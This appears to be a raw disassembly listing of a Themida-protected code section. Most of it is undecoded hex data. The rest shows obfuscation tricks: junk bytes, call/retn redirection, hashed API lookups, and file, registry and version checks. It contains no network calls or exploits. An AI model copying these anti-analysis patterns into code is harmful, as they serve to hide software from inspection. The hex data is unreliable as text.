		dd 0F7C1683Fh, 9E993C8h, 90000000h, 0E086AA3Fh,	0C85FAA7Eh
		dd 0ED1B5FFh, 0BD010611h, 6111F21h, 3AA6858Dh, 8B660611h
		dd 89D0FFCEh, 11093D8Dh, 0BD8B5006h, 611138Dh, 858DF88Bh
		dd 6140361h, 21B58950h,	59061130h, 9400C7h, 85890000h
		dd 6111C4Dh, 55006A58h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h
		dd 0DE94B96h, 28000000h, 0D3D5E9EBh, 16D9901Eh,	8E5E70F9h
		dd 361B58Dh, 0BF660614h, 0B58972C2h, 611261Dh, 0C1958B56h
		dd 0FF061107h, 37BF66D0h, 858DFC0Dh, 6140361h, 68B0Fh
		dd 0BD8B0000h, 6113439h, 6047883h, 13850Fh, 85C70000h
		dd 61403F5h, 1,	3880Fh,	0B70F0000h, 95BD83D1h, 61122h
		dd 87850Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 140424h, 51410000h, 858982C3h, 6110E3Dh, 3F5BD83h, 0F000614h
		dd 5885h, 6EB96600h, 0E9BD8325h, 61109h, 47840Fh, 0DE90000h
		dd 0EF000000h, 4AB4735Eh, 0E79EA282h, 0E2399209h, 61585C7h
		dd 611h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h,	44810424h
		dd 1C0424h, 55450000h, 131155C3h, 0E58669ACh, 0BA66A690h
		dd 8B661FD3h, 0DB8C66D3h, 0F04C3F6h, 4FD84h, 0ED9D8900h
		dd 0C706110Eh, 111B7185h, 6, 0EA805600h, 0BD805930h, 613FF4Bh
		dd 0B850F00h, 0BF000000h, 573A1646h, 3265BD89h,	85C60611h
		dd 61106D1h, 51006A47h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 0FC030318h, 0AA54B0DEh, 2B8CB9CDh
		dd 866853F0h, 6AE3E45Bh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 0BABEC356h,	1ED2DD77h
		dd 0ED1B5FFh, 6A0611h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 0B7AD8AC3h, 0BD2BB563h, 6111311h
		dd 3AA6858Dh, 8B600611h, 110FBD95h, 2810F06h, 57000000h
		dd 0D0FF615Ah, 0AE9h, 4CC29F00h, 69D8C273h, 68C9469Ah
		dd 104h, 9D8DEBB5h, 6112499h, 1EDD958Bh, 830F0611h, 0
; ---------------------------------------------------------------------------
		push	ebx
		jmp	loc_57ACE2
; ---------------------------------------------------------------------------
		dw 2BD9h
		dd 0C60ADFDh, 4F11766h,	43ECF464h, 88E8058Ch
		db 4Eh,	0ECh
; ---------------------------------------------------------------------------


loc_57ACE2:				; CODE XREF: Themida_:0057ACC9j
		call	eax
		push	0
		push	ebp
		call	sub_57ACEF
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57ACEF	proc near		; CODE XREF: Themida_:0057ACE7p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_57ACEF	endp

; ---------------------------------------------------------------------------
		fisttp	dword ptr cs:[ebx+111DE1BDh]
		push	es
		sub	[ebp+611140Dh],	ecx
		lea	eax, [ebp+6112499h]
		push	esi
		mov	ecx, edi
		pop	ecx
		push	eax
		sub	[ebp+6112385h],	edx
		lea	eax, [ebp+613FEFDh]
		sbb	di, 37A5h
		push	eax
		add	ch, 70h
		xor	ecx, 36365D61h
		lea	eax, [ebp+613F5D0h]
		movsx	edx, ax
		push	eax
		xor	edi, [ebp+611143Dh]
		call	dword ptr [ebp+611281Dh]
		pusha
		jmp	loc_57AD63
; ---------------------------------------------------------------------------
		db 0B2h
		dd 7968C512h, 88EA5051h, 997960E0h, 479E02A4h
; ---------------------------------------------------------------------------
		pop	es
		inc	ecx
		cwde


loc_57AD63:				; CODE XREF: Themida_:0057AD4Aj
		mov	si, dx
		popa
		add	esp, 0Ch
		mov	[ebp+6110119h],	edi
		push	0
		push	80h
		push	3
		push	0
		push	0
		push	80000000h
		lea	eax, [ebp+613F5D0h]
		push	eax
		call	dword ptr [ebp+6112A5Dh]
		mov	[ebp+613FEE0h],	eax
		mov	byte ptr [ebp+61106D1h], 47h
		push	0C7B15E87h
		push	dword ptr [ebp+6110ED1h]
		lea	eax, [ebp+6113AA6h]
		call	eax
		push	0
		push	dword ptr [ebp+613FEE0h]
		call	eax
		jnb	loc_57ADC5
		mov	[ebp+6110C31h],	edx


loc_57ADC5:				; CODE XREF: Themida_:0057ADB9j
		jmp	loc_57ADD8
; ---------------------------------------------------------------------------
		dw 0D3FDh
		dd 9EC092E6h, 9A4FB6B5h, 7B68B72Ch
; ---------------------------------------------------------------------------


loc_57ADD8:				; CODE XREF: Themida_:loc_57ADC5j
		add	edi, 4EE5BEC2h
		cmp	eax, 37D0h
		jnb	loc_57AE22
		mov	[ebp+6111E11h],	edx
		push	dword ptr [ebp+613FEE0h]
		call	dword ptr [ebp+61105B9h]
		push	0
		push	ebx
		call	sub_57AE06
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57AE06	proc near		; CODE XREF: Themida_:0057ADFEp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_57AE06	endp

; ---------------------------------------------------------------------------
		sahf
		jmp	loc_57AF1E
; ---------------------------------------------------------------------------
		sub	[ebp+6113119h],	edx


loc_57AE22:				; CODE XREF: Themida_:0057ADE3j
		push	dword ptr [ebp+613FEE0h]
		sbb	dh, 0F5h
		call	dword ptr [ebp+61105B9h]
		mov	[ebp+6110B0Dh],	edx
		push	0
		push	eax
		add	edx, 5F67F5A5h
		pop	edi
		push	0
		push	0
		push	esi
		call	sub_57AE4E
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57AE4E	proc near		; CODE XREF: Themida_:0057AE46p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_57AE4E	endp

; ---------------------------------------------------------------------------
		dw 0EB96h
		dd 6EF41E8Fh, 6A2B2Ch, 6AD3BF0Fh, 2D8D0300h, 6A061131h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 0D9C421B6h, 32CEE992h, 830F21DDh, 2, 958BFAB5h
		dd 61106A5h, 0B589006Ah, 6111501h, 0FEE4858Dh, 840F0613h
		dd 4, 55EFBF66h, 0BD8B5650h, 6110A65h, 5D95FF5Fh, 8906112Ah
		dd 11091D8Dh, 0FFF88306h, 169850Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0C3CA59C3h
		dd 0B6EED83h, 0FEB26B9Ch, 6860Fh, 0BD890000h, 611143Dh
		dd 9E9h, 531E5400h, 0B5C15B48h
		db 0Fh,	0Bh
; ---------------------------------------------------------------------------


loc_57AF1E:				; CODE XREF: Themida_:0057AE17j
		lea	eax, [ebp+613B9DBh]
		jbe	loc_57AF3C
		jmp	loc_57AF3C
; ---------------------------------------------------------------------------
		db 12h
		dd 503ADC53h, 21215D1Dh, 0B806503Dh
; ---------------------------------------------------------------------------


loc_57AF3C:				; CODE XREF: Themida_:0057AF24j
					; Themida_:0057AF2Aj
		call	eax
		mov	dl, 0F5h
		push	0
		push	0
		push	edi
		call	sub_57AF4D
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57AF4D	proc near		; CODE XREF: Themida_:0057AF45p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_57AF4D	endp

; ---------------------------------------------------------------------------
		rcr	esi, 0E3h
		sbb	byte ptr [esi],	27h
		xor	edi, esp
		push	0
		sub	[ebp+6111285h],	esi
		pusha
		jge	loc_57AF7A
		sub	[ebp+6110745h],	edx


loc_57AF7A:				; CODE XREF: Themida_:0057AF6Ej
		mov	dx, 0C2AEh
		popa
		push	0
		push	0
		push	ebp
		call	sub_57AF8C
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57AF8C	proc near		; CODE XREF: Themida_:0057AF84p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_57AF8C	endp

; ---------------------------------------------------------------------------
		dd 75B0A53Eh, 6AD3BF0Fh, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 583492B2h, 0B5099268h
		dd 611217Dh, 8589006Ah,	6112279h, 9E9006Ah, 49000000h
		dd 11C6054Ah, 0C730697Eh, 0FEE4858Dh, 89F90613h, 1130FD85h
		dd 8D8B5006h, 6113035h,	2A5D95FFh, 0BF660611h, 0F8834B2Bh
		dd 3C850FFFh, 0F000000h, 38Bh, 0F88B6600h, 0F8ECB58Dh
		dd 0BD030613h, 6111515h, 0A44D858Dh, 9D890613h,	6112ACDh
		dd 6AD0FFh, 6E9h, 0D1F1BA00h, 0FF8B3D4Ah, 1132A595h, 0AED78106h
		dd 8918DFBCh, 13FEE085h, 870F5006h, 0
; ---------------------------------------------------------------------------
		pop	edx
		push	0
		mov	dx, bx
		lea	eax, [ebp+613FED8h]
		add	[ebp+6110BADh],	ebx
		push	eax
		mov	edi, 74F75ABCh
		push	4
		push	0
		push	edi
		call	sub_57B079
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57B079	proc near		; CODE XREF: Themida_:0057B071p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_57B079	endp

; ---------------------------------------------------------------------------
		test	bl, 0B2h
		mov	byte ptr [eax+70h], 0FFh
		xor	ds:0F85858Dh, bl
		adc	[esi], eax
		movzx	edi, si
		push	eax
		and	edx, [ebp+6113219h]
		push	0
		add	[ebp+6111DC5h],	edi
		push	0
		mov	[ebp+6113285h],	esi
		push	1
		or	cx, 2938h
		push	dword ptr [ebp+613FEE0h]
		call	dword ptr [ebp+6110389h]
		mov	[ebp+61114C1h],	ebx
		jmp	loc_57CB50
; ---------------------------------------------------------------------------
		sub	[ebp+6110345h],	eax
		mov	eax, eax
		call	sub_57B0E7
		add	[ecx], dl
		adc	[ebx-30h], al
		fild	qword ptr [edx+esi*4+31h]
		pop	es

; =============== S U B	R O U T	I N E =======================================



sub_57B0E7	proc near		; CODE XREF: Themida_:0057B0D8p
		mov	edi, [ebp+61112F5h]
		pop	edx
		mov	[ebp+61106C5h],	ecx
		cmp	dword ptr [ebp+61125F1h], 0
		jnz	short loc_57B106
		cmp	dword ptr [ebp+611243Dh], 0
		jz	short loc_57B11F


loc_57B106:				; CODE XREF: sub_57B0E7+14j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 7D2h
		mov	[ebp+6111D4Dh],	eax
		lea	ebx, [ebp+613B229h]
		call	ebx
		pop	ebx
		pop	eax


loc_57B11F:				; CODE XREF: sub_57B0E7+1Dj
		cmp	dword ptr [ebp+611243Dh], 0
		jz	short loc_57B13F
		push	eax
		push	ebx
		mov	eax, 7D2h
		mov	[ebp+6111D4Dh],	eax
		lea	ebx, [ebp+613AF18h]
		call	ebx
		pop	ebx
		pop	eax


loc_57B13F:				; CODE XREF: sub_57B0E7+3Fj
		or	edi, 7395F484h
		mov	di, 998Fh
		mov	eax, eax
		jmp	loc_57B15E
; ---------------------------------------------------------------------------
		dd 8BD9BFB7h, 0FC2CD996h, 624BFD51h
		db 25h,	7Ah
; ---------------------------------------------------------------------------


loc_57B15E:				; CODE XREF: sub_57B0E7+64j
		mov	dword ptr [ebp+6111B71h], 1
		mov	[ebp+6110C59h],	ebx
		push	0CEE4E7B8h
		push	dword ptr [ebp+6111795h]
		lea	eax, [ebp+6113AA6h]
		call	eax
		mov	[ebp+6111D95h],	eax
		lea	eax, [ebp+614013Ch]
		push	eax
		lea	eax, [ebp+61403F9h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+6111D95h]
		or	eax, eax
		jnz	short loc_57B1AE
		mov	dword ptr [ebp+6110C6Dh], 1


loc_57B1AE:				; CODE XREF: sub_57B0E7+BBj
		push	0C005DBD4h
		push	dword ptr [ebp+6111795h]
		lea	eax, [ebp+6113AA6h]
		call	eax
		mov	[ebp+61117A9h],	eax
		lea	eax, [ebp+613F389h]
		push	eax
		push	dword ptr [ebp+6110ED1h]
		call	dword ptr [ebp+6111B9Dh]
		or	eax, eax
		jz	short loc_57B1E9
		mov	ebx, eax
		lea	eax, [ebp+614033Ch]
		push	eax
		call	ebx


loc_57B1E9:				; CODE XREF: sub_57B0E7+F5j
		lea	eax, [ebp+614033Ch]
		cmp	word ptr [eax],	9
		jnz	short loc_57B1FF
		mov	dword ptr [ebp+6111E29h], 1


loc_57B1FF:				; CODE XREF: sub_57B0E7+10Cj
		call	dword ptr [ebp+6110709h]
		and	eax, 0FFh
		cmp	eax, 5
		jnb	short loc_57B219
		mov	dword ptr [ebp+6112605h], 1


loc_57B219:				; CODE XREF: sub_57B0E7+126j
		push	0
		push	edi
		call	sub_57B224
		and	[edi-3Dh], bl
sub_57B0E7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_57B224	proc near		; CODE XREF: sub_57B0E7+135p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_57B224	endp

; ---------------------------------------------------------------------------
		pop	edi
		rol	byte ptr [esi],	cl
		sub	bh, [eax]
		add	esp, ebx
		xchg	eax, edi
		xchg	eax, ebp
		mov	edx, [ebp+61129A1h]
		mov	ecx, [ebp+6110C91h]
		cmp	byte ptr [ebp+613FF4Bh], 0
		jz	loc_57B277
		push	ebx
		or	[ebp+611180Dh],	eax
		pop	edi
		mov	ecx, [ebp+6113249h]
		cmp	dword ptr [ebp+61403F5h], 0
		jz	loc_57B282
		mov	edx, [ebp+6112371h]


loc_57B277:				; CODE XREF: Themida_:0057B250j
		jmp	loc_57CB50
; ---------------------------------------------------------------------------
		mov	edx, [ebp+6112229h]


loc_57B282:				; CODE XREF: Themida_:0057B26Bj
		cmp	dword ptr [ebp+6111E29h], 0
		jnz	loc_57B344
		movzx	ecx, si
		lea	eax, [ebp+613FF15h]
		jmp	loc_57B2AD
; ---------------------------------------------------------------------------
		db 0E0h, 6Dh, 4Ch
		dd 0B7BAEE4h, 393204Bh,	9ADBECCCh
; ---------------------------------------------------------------------------
		pusha


loc_57B2AD:				; CODE XREF: Themida_:0057B298j
		push	eax
		mov	edi, [ebp+6110ACDh]
		push	1
		sbb	edi, 60D14AC6h
		push	0
		push	0
		push	ecx
		call	sub_57B2C9
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57B2C9	proc near		; CODE XREF: Themida_:0057B2C1p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_57B2C9	endp

; ---------------------------------------------------------------------------
		db 9Eh,	64h, 0F6h
		dd 0F9E1F487h, 6A38B5h,	0F2AFEBBAh, 6995FF7Bh, 2906110Fh
		dd 1122818Dh, 0DF816606h, 85892409h, 613FF3Fh, 1DB58529h
		dd 0FF6A0611h, 0CE9h, 0A6698C00h, 4E6C3B71h, 4F44C128h
		dd 0EDBD23B8h, 0FF06111Bh, 13FF3FB5h, 0EE906h
		db 2 dup(0), 76h
; ---------------------------------------------------------------------------


loc_57B32B:				; CODE XREF: Themida_:0057B35Dj
		cld
		retn
; ---------------------------------------------------------------------------
		db 0CDh, 62h, 87h
; ---------------------------------------------------------------------------
		and	[edi+1EE68748h], bh
		or	eax, 0D95FF45h
		adc	eax, 85890611h
		test	[ecx+edx], edx
		push	es


loc_57B344:				; CODE XREF: Themida_:0057B289j
					; Themida_:0057B35Bj
		lea	eax, [ebp+613F350h]
		xor	cx, 8816h
		add	edx, 20D29AAEh
		push	eax
		call	near ptr loc_57B35F+1
		jns	short near ptr loc_57B344+2
		jnp	short loc_57B32B


loc_57B35F:				; CODE XREF: Themida_:0057B356p
		in	al, 89h		; DMA page register 74LS612:
					; Channel 6 (address bits 17-23)
		mov	ch, 0D9h
		add	al, 11h
		push	es
		pop	edx
		call	dword ptr [ebp+6112131h]
		mov	[ebp+611074Dh],	ecx
		mov	[ebp+613F3DAh],	eax
		mov	edx, [ebp+6112D9Dh]
		clc
		lea	eax, [ebp+613F35Dh]
		mov	dl, ch
		push	eax
		cld
		mov	dx, 0BAB0h
		push	dword ptr [ebp+613F3DAh]
		mov	cx, 0AC7h
		call	dword ptr [ebp+6111B9Dh]
		push	0
		push	eax
		call	sub_57B3A9
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57B3A9	proc near		; CODE XREF: Themida_:0057B3A1p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_57B3A9	endp

; ---------------------------------------------------------------------------
		db 44h,	7Fh, 97h
		dd 63BB2F91h, 618D8919h, 60061123h, 2DA58D8Bh, 0DE80611h
		dd 8B000000h, 0D43EAA47h, 0DF4AAB5Ah, 3B9966E6h, 0FE9h
		dd 0F5E46900h, 164FE21Ch, 0E874F1E7h, 8CE879E1h, 8589615Eh
		dd 61122A1h, 5C12BA66h,	0F3CB858Dh, 9D290613h, 6110F3Dh
		dd 0B5FFF850h, 613F3DAh, 0FFFA8B66h, 111B9D95h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 0A1BD89EBh, 8B061129h, 0EE8589F9h, 0F0613F3h, 68Bh
		dd 4DBD2900h, 8D06111Ch, 13F3AA85h, 5E906h, 0A22A0000h
		dd 8B3A05F6h, 50BF50D0h, 0FF7EE7CAh, 13F3DAB5h,	0FDB58906h
		dd 0FF061131h, 111B9D95h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 83679FC0h
		dd 7190E631h, 2A75BD2Bh, 85890611h, 613F3E6h, 858DFE8Bh
		dd 613F39Dh, 381B589h, 8B500611h, 1122D58Dh, 0B1958B06h
		dd 0FF06110Dh, 13F3DAB5h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 9B6A7AF1h
		dd 0D2FEFBB9h, 9D95FF52h, 8106111Bh, 100806EAh,	0EA85896Fh
		dd 660613F3h, 858DC88Bh, 613F3B8h, 6500E181h, 66500F42h
		dd 472DEA81h, 0F3DAB5FFh, 6A0613h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 0BA95F9C3h, 95FFFC2Dh
		dd 6111B9Dh, 0DCDBD33h,	0D38B0611h, 0C418589h, 0EE90611h
		dd 1D000000h, 0B4F653ACh, 0E89E3D6Fh, 5FFDFD7Bh, 7800F25h
		dd 0F000000h, 187h, 858DF900h, 613F36Ch, 8890Fh, 33560000h
		dd 111461BDh, 0E8605906h, 12h, 5C69F25Ch, 8B80163Eh, 0E47FDBEFh
		dd 2FD0B3B3h, 81669B00h, 581F0DCAh, 880Fh, 50610000h, 29D9D89h
		dd 0A0B60611h, 0F3DAB5FFh, 8C0F0613h, 0
; ---------------------------------------------------------------------------
		call	dword ptr [ebp+6111B9Dh]
		pusha
		stc
		mov	esi, 61CA9510h
		popa
		mov	[ebp+613F3DEh],	eax
		mov	ecx, 7FA92D44h
		lea	eax, [ebp+613F37Bh]
		mov	di, 1424h
		push	eax
		movsx	edi, bx
		push	dword ptr [ebp+613F3DAh]
		or	[ebp+6112BC5h],	esi
		call	dword ptr [ebp+6111B9Dh]
		mov	ecx, [ebp+611140Dh]
		mov	[ebp+613F3E2h],	eax
		mov	ch, 30h
		push	104h
		mov	cx, di
		lea	eax, [ebp+613F472h]
		mov	[ebp+61114A5h],	edx
		push	eax
		push	0
		push	esi
		call	sub_57B627
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57B627	proc near		; CODE XREF: Themida_:0057B61Fp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_57B627	endp

; ---------------------------------------------------------------------------
		db 36h
		dd 13E860h, 7BE80000h, 255FFDFDh, 76FDE95h, 9B40D7F9h
		dd 0DE0E43A6h, 59616092h, 0FA5BD8Bh, 8D610611h,	13F57685h
		dd 19B52906h, 50061134h, 850Fh,	0B70F0000h, 6D95FFFBh
		dd 2B061128h, 1107F9BDh, 0FC08506h, 85h, 4BBD8000h, 613FFh
		dd 16850Fh, 0F9600000h,	29858950h, 58061109h, 14AEE961h
		dd 9D890000h, 61132B5h,	1E29BD83h, 0F000611h, 2485h, 0ED8D8B00h
		dd 60061125h, 0E3D8589h, 0B70F0611h, 0BD8361D0h, 61403F5h
		dd 3F840F00h, 66000000h, 8A3C9CBAh, 0F858DF7h, 660613F4h
		dd 0C2A1DA81h, 1467E9h,	53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 0C58D8B9Ah, 0E906111Eh
		dd 0Eh,	858DCA8Bh, 613F3FAh, 1FBD8589h,	89500611h, 1130B185h
		dd 72858D06h, 0E90613F4h, 0Fh, 6967E5E7h, 88AE33FFh, 0A0E556C4h
		dd 50E8D37Fh, 211D958Bh, 0BD830611h, 6111E29h, 53840F00h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 8B2EC351h, 11223595h, 98858D06h
		dd 6A0613F5h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 408EC356h, 2B41958Bh, 1FE90611h
		dd 0F000000h, 858DD2BFh, 613F581h, 108F0Fh, 60600000h
		dd 6E861h, 5DCF0000h, 5929112Bh, 6A506159h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0A408C352h
		dd 85091C83h, 6112DBDh,	0F5D0858Dh, 9500613h, 11179985h
		dd 6A505A06h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 387AC353h, 547BCF3h, 0BD038AF1h
		dd 611061Dh, 0FFD1ED80h, 11281D95h, 0E9BD2B06h,	83061106h
		dd 858910C4h, 6111541h,	8166C08Bh, 83186FC7h, 1125F1BDh
		dd 9750006h, 243DBD83h,	74000611h, 8B535019h, 7D3B8C0h
		dd 85890000h, 6111D4Dh,	0B2299D8Dh, 0D3FF0613h,	0BD83585Bh
		dd 611243Dh, 50177400h,	7D3B853h, 85890000h, 6111D4Dh
		dd 0AF189D8Dh, 0D3FF0613h, 8166585Bh, 669AA6D2h, 0B516C981h
		dd 8D8BC08Bh, 61108E9h,	0F3FABD81h, 726F0613h, 840F6165h
		dd 0B3h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 17h,	0FBC35040h, 66A2DE9Eh, 97EBDF81h, 0F472858Dh, 8D500613h
		dd 13F5AF85h, 858D5006h, 613F5D0h, 1D95FF50h, 83061128h
		dd 85C60CC4h, 61106D1h,	184F6844h, 0B5FF96A3h, 6110ED1h
		dd 3AA6858Dh, 0D0FF0611h, 858DD88Bh, 613F5D0h, 8DD3FF50h
		dd 13F3FA85h, 858D5006h, 613F472h, 29BD8350h, 6111Eh, 858D0874h
		dd 613F598h, 858D06EBh,	613F581h, 0D0858D50h, 500613F5h
		dd 281D95FFh, 0C4830611h, 6860F10h, 89000000h, 11007185h
		dd 4800F06h, 66000000h,	0FF65C2B9h, 11070995h, 9D096006h
		dd 6111F55h, 2561D68Bh,	0FFh, 958D8Bh, 0F8830611h, 51830F05h
		dd 0B1000000h, 585C7BEh, 1061126h, 0F000000h, 583h, 0C1816600h
		dd 8D29CB36h, 6112D59h,	0F42E858Dh, 0BA660613h,	0ACE989D7h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 3CAFC350h, 958BC2B0h, 6110EC1h
		dd 1E29BD83h, 0F000611h, 6E84h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 1A2960B0h
		dd 603EEBD7h, 18C0Fh, 3F50000h,	1129999Dh, 0E9816106h
		dd 1797FD44h, 0F459858Dh, 0BE90613h, 14000000h,	0F632D109h
		dd 15769015h, 28E98710h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 8D2BC352h
		dd 13F43B85h, 94E28106h, 893C0EC4h, 13F46E85h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 57911ABBh, 818D8B50h, 5A061126h, 29BD8359h, 6111Eh
		dd 1F850Fh, 0BD8B0000h,	61112E1h, 3F5BD83h, 0F000614h
		dd 1784h, 9BD0900h, 89061132h, 1122499Dh, 1096E906h, 0BD0B0000h
		dd 611261Dh, 43DE9h, 79958B00h,	8B061102h, 38F0FC0h, 66000000h
		dd 0BD83FE8Bh, 61125F1h, 83097500h, 11243DBDh, 19740006h
		dd 0C08B5350h, 7D4B8h, 4D858900h, 8D06111Dh, 13B2299Dh
		dd 5BD3FF06h, 3DBD8358h, 61124h, 53501774h, 7D4B8h, 4D858900h
		dd 8D06111Dh, 13AF189Dh, 5BD3FF06h, 99F18158h, 89687F9Ch
		dd 110C91BDh, 7D950906h, 8B06112Ch, 0BD8B51C0h,	6111CB9h
		dd 399D895Fh, 6806110Eh, 0F003Fh, 1321958Bh, 6A0611h, 66D3BF0Fh
		dd 7097D281h, 0DF81006Ah, 7E2B14CBh, 22A195FFh,	85F50611h
		dd 18850FC0h, 0E9000000h, 13h, 896D37BEh, 0F9C52D0Ah, 0B182B305h
		dd 5334CBA0h, 89D912BEh, 13F3F285h, 0CEBF0F06h,	958B006Ah
		dd 6111599h, 6A006Ah, 31F19589h, 6A0611h, 599D89FCh, 6A06112Ah
		dd 0A5D98000h, 0F5D0858Dh, 6E80613h, 0C2000000h, 99A73D8Eh
		dd 0BDC281CAh, 595C3A35h, 0AFC9BF50h, 16A23B9h,	16AC88Bh
		dd 0B65BD8Bh, 16A0611h,	0CC1BD8Bh, 0FF680611h, 6A000F01h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 7129C356h, 190BF134h, 949E91C4h, 1E29BD83h
		dd 0F000611h, 4584h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 0BB3CE809h, 8DE8CE80h
		dd 13F44F85h, 9E906h, 0CC240000h, 0E0C08DFh, 8B7BF4B1h
		dd 1123018Dh, 2AE906h, 8B520000h, 858D5AD3h, 613F425h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 4DC35141h
		dd 0C208153Eh, 81665050h, 0FFBECCEAh, 13F3F2B5h, 0A19D8906h
		dd 0FF061131h, 13F3DE95h, 0BE906h, 45C90000h, 82A4192Bh
		dd 3C46676Ch, 0FC085F9h, 1C85h,	8C0F00h, 0E9000000h, 72h
		dd 0CE9h, 423EF000h, 25C354A7h,	0EB129031h, 0F68589EBh
		dd 2B0613F3h, 112B69BDh, 0D5B58906h, 0FF06112Ah, 13F3F6B5h
		dd 11E906h, 0C7660000h,	0D9953ECDh, 1DE5C521h, 3991B900h
		dd 0FF41D5A7h, 110C4195h, 0EE906h, 5FDF0000h, 664D96D7h
		dd 79CB1376h, 5E9923A2h, 7E9h, 5C6C9100h, 9112E653h, 850FC085h
		dd 6, 2DDD8D8Bh, 106A0611h, 14D5B589h, 0BD830611h, 6111E29h
		dd 24840F00h, 1000000h,	110A1DB5h, 4F858D06h, 8B0613F4h
		dd 11074D95h, 19E906h, 0F7810000h, 49004120h, 0F7816656h
		dd 8D59EA7Eh, 13F42585h, 0ED8D2906h, 5006111Ch,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 46C35141h, 0D7BF0FB6h
		dd 0F3F2B5FFh, 6A0613h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 0E08388C3h, 0BDBD0355h, 8B061108h
		dd 8DBD8BD1h, 0FF061106h, 13F3EA95h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 26A7348Fh
		dd 8166FD61h, 857B39D7h, 5850FC0h, 0BF000000h, 6021A7C1h
		dd 0F3F68589h, 66600613h, 292F2FBBh, 110EC195h,	6A6106h
		dd 901BD8Bh, 6A0611h, 0E853006Ah, 3, 5BC35B20h,	4245C89h
		dd 4244481h, 1Dh
		dd 47C35343h, 9E1995FEh, 0EC472DECh, 850F5684h,	10h, 0AE8h
		dd 0BC278100h, 29FB3EBBh, 5ABD2413h, 0F6B5FF5Ah, 10613F3h
		dd 111DB1B5h, 0E295FF06h, 0E90613F3h, 5, 5AB4833Ch, 898D030Bh
		dd 85061124h, 27850FC0h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 7CB3C353h
